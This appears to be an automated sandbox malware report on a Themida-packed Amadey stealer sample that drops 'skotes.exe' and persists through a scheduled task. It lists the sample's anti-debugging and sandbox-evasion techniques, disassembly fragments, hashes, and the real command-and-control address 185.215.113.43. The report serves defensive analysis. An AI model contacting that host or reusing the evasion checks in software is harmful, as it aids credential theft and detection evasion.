Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539070B second address: 5390711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390711 second address: 539078B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007FD2884F85CEh 0x00000010 mov ecx, 1F2154F1h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 mov cx, dx 0x0000001b pushfd 0x0000001c jmp 00007FD2884F85D9h 0x00000021 adc ecx, 252D6A36h 0x00000027 jmp 00007FD2884F85D1h 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FD2884F85CDh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539078B second address: 53907B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD288CC4A6Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53907B0 second address: 5390804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD2884F85D1h 0x0000000f xchg eax, edi 0x00000010 jmp 00007FD2884F85CEh 0x00000015 mov eax, dword ptr [7743B370h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD2884F85D7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390804 second address: 5390858 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD288CC4A6Fh 0x00000009 or ax, 883Eh 0x0000000e jmp 00007FD288CC4A79h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xor dword ptr [ebp-08h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD288CC4A76h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390858 second address: 539085C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539085C second address: 5390862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390862 second address: 53908B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b pushad 0x0000000c movsx edx, cx 0x0000000f call 00007FD2884F85D8h 0x00000014 jmp 00007FD2884F85D2h 0x00000019 pop ecx 0x0000001a popad 0x0000001b push esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ecx, edi 0x00000021 mov edi, 6121B7CAh 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53908B2 second address: 53908B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAEADB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAEB9F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D5672C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DDAAA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DCEADB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DCEB9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F7672C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FFAAA0 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_053E0291 rdtsc

0_2_053E0291

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 454

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3968	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6044	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6044	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1492	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1492	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5648	Thread sleep count: 454 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5648	Thread sleep time: -13620000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3460	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6368	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6368	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5648	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000006.00000002.3380064228.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2193792120.0000000000D2C000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2228849443.0000000000F4C000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2235071091.0000000000F4C000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000006.00000002.3380064228.000000000146A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000006.00000002.3380064228.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=lBR

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_053E058C Start: 053E078E End: 053E05EE

0_2_053E058C

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_053E0291 rdtsc

0_2_053E0291

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D9652B mov eax, dword ptr fs:[00000030h]		6_2_00D9652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D9A302 mov eax, dword ptr fs:[00000030h]		6_2_00D9A302

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: #&PProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00D7D3E2 cpuid

6_2_00D7D3E2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00D7CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00D7CBEA

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.b40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2234945312.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2227793699.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2194651545.0000000005580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2186521563.0000000004850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2797199366.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2193715965.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2153521892.0000000005210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	224 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	54%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://185.215.113.43/Zu7JuNko/index.php15.113.43a	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.php4	skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php:	skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php8	skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php;	skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php&	skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpD	skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php15.113.43a	skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpH	skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php-	skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpn	skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpL	skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpl	skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561633
Start date and time:	2024-11-24 02:21:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@0/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 1548 because it is empty
Execution Graph export aborted for target skotes.exe, PID 3064 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4864 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:21:58	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:23:02	API Interceptor	1034x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.9510844124633255
Encrypted:	false
SSDEEP:	49152:rD4pAVIEUn78EYltySaV85C1E/K4fvnMPgn/E:r8+VOn4EY6gfK4cP/
MD5:	6D76634E0D5A3748DBB40ED91D91480A
SHA1:	70FA798C82153DB02E218B3A7EFA2F56F051CCED
SHA-256:	D99688821D8644F9E44764BE9944C327ABC3162866E51AD78A02DCDC25A08730
SHA-512:	137B80797C2158247ADB3A7A865B5D0A44CF096B0A6C9377F2E548B5475D811273F0A367AA11DB74538474DF64FE58384F04CE013D9D5395904E68A8EDF9AF9A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55% Antivirus: Virustotal, Detection: 54%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................@K...........@.................................W...k.......D.....................J.............................L.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...iaxkupqh.....P1.....................@...fnhucfqp......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4396029193056945
Encrypted:	false
SSDEEP:	6:qgdbXUhXUEZ+lX1CGdKUe6tE9+AQy0lBz1ut0:D4Q1CGAFD9+nVBAt0
MD5:	7C2BF1C453495148EC9D586399D2C7B7
SHA1:	EDC88EFB8C0756B6087693A5DE6A6EF039F5F5D8
SHA-256:	D0A7D66022488CD694DF71B3689B0BD69F2D454897E217C6A3A5D4CC85B0A325
SHA-512:	31750B595E795B90759CEA39E5B72C65FE30EEA73CB0D5CE8B85F86F4349EFAFADE78AF7E21DBA390884BC140C38187BED061518FCD47C2C1923E0A09759164E
Malicious:	false
Reputation:	low
Preview:	.......6...O.p.P]..BF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9510844124633255
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'884'672 bytes
MD5:	6d76634e0d5a3748dbb40ed91d91480a
SHA1:	70fa798c82153db02e218b3a7efa2f56f051cced
SHA256:	d99688821d8644f9e44764be9944c327abc3162866e51ad78a02dcdc25a08730
SHA512:	137b80797c2158247adb3a7a865b5d0a44cf096b0a6c9377f2e548b5475d811273f0a367aa11db74538474df64fe58384f04ce013d9d5395904e68a8edf9af9a
SSDEEP:	49152:rD4pAVIEUn78EYltySaV85C1E/K4fvnMPgn/E:r8+VOn4EY6gfK4cP/
TLSH:	BE95332ED71C7F24C4C408734BA367C2F668ED1745D8C7FE658806EABC6624ACBA15B4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b1000
Entrypoint Section:	.taggant
Digitally signed:	false
